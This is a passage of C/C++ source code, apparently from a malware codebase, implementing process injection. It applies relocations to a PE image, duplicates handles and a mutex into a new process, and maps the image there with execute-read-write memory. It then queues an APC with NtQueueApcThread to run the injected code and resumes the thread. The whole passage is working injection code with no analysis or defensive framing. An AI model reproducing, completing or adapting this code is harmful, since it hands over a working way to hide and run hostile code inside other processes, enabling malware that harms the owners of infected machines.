relocsDir->VirtualAddress); while(relHdr->VirtualAddress != 0) { if(relHdr->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION))//FIXME: Что это? { DWORD relCount = (relHdr->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); LPWORD relList = (LPWORD)((LPBYTE)relHdr + sizeof(IMAGE_BASE_RELOCATION)); for(DWORD i = 0; i < relCount; i++)if(relList[i] > 0) { DWORD_PTR *p = (DWORD_PTR *)(buf + (relHdr->VirtualAddress + (0x0FFF & (relList[i])))); *p -= oldDelta; *p += delta; } } relHdr = (IMAGE_BASE_RELOCATION *)((LPBYTE)relHdr + relHdr->SizeOfBlock); } //Копируем образ в процесс. //ok = CWA(kernel32, WriteProcessMemory)(process, remoteMem, buf, imageSize, NULL) ? true : false; { //Указываем текущий модуль. if(!copyDataToBuffer(buf, &coreData.modules.current, &remoteMem, sizeof(HMODULE))) { WDEBUG0(WDDT_ERROR, "Failed coreData.modules.current."); } { HANDLE processMutex = Core::createMutexOfProcess(pi.dwProcessId); HANDLE newMutex; if(CWA(kernel32, DuplicateHandle)(CURRENT_PROCESS, processMutex, pi.hProcess, &newMutex, 0, FALSE, DUPLICATE_SAME_ACCESS) == FALSE) { WDEBUG0(WDDT_ERROR, "Failed to duplicate mutex of process."); } } DWORD proccessFlags = 0; proccessFlags |= (coreData.proccessFlags & Core::CDPT_INHERITABLE_MASK); if(!copyDataToBuffer(buf, &coreData.proccessFlags, &proccessFlags, sizeof(DWORD))) { WDEBUG0(WDDT_ERROR, "Failed coreData.proccessFlags."); } //coreData.globalHandles.stopEvent. if(!copyHandleToBuffer(pi.hProcess, buf, &coreData.globalHandles.stopEvent, coreData.globalHandles.stopEvent)) { WDEBUG0(WDDT_ERROR, "Failed coreData.globalHandles.stopEvent."); } //coreData.globalHandles.stopedEvent. if(!copyHandleToBuffer(pi.hProcess, buf, &coreData.globalHandles.stopedEvent, coreData.globalHandles.stopedEvent)) { WDEBUG0(WDDT_ERROR, "Failed coreData.globalHandles.stopedEvent."); } } if(!NT_SUCCESS(NtMapViewOfSection(hFile, pi.hProcess, &remoteMem, 0,0,0,&viewSize,1,0,PAGE_EXECUTE_READWRITE) != 0)) {WDEBUG0(WDDT_ERROR, "Cannot map into new process");return NULL;} if(!NT_SUCCESS(NtQueueApcThread(pi.hThread, (PIO_APC_ROUTINE)((LPBYTE)msg - (LPBYTE)coreData.modules.current + (LPBYTE)remoteMem), 0 ,0,0))){WDEBUG0(WDDT_ERROR, "NtQueueApcThread error"); CWA(kernel32,TerminateProcess)(pi.hProcess,0);}; CWA(kernel32,ResumeThread)(pi.hThread); CWA(kernel32,CloseHandle)(pi.hThread); CWA(kernel32,CloseHandle)(pi.hProcess); } CWA(kernel32,UnmapViewOfFile)(buf); CWA(kernel32,CloseHandle)(hFile); } if(!ok) { remoteMem = NULL; } } return remoteMem; }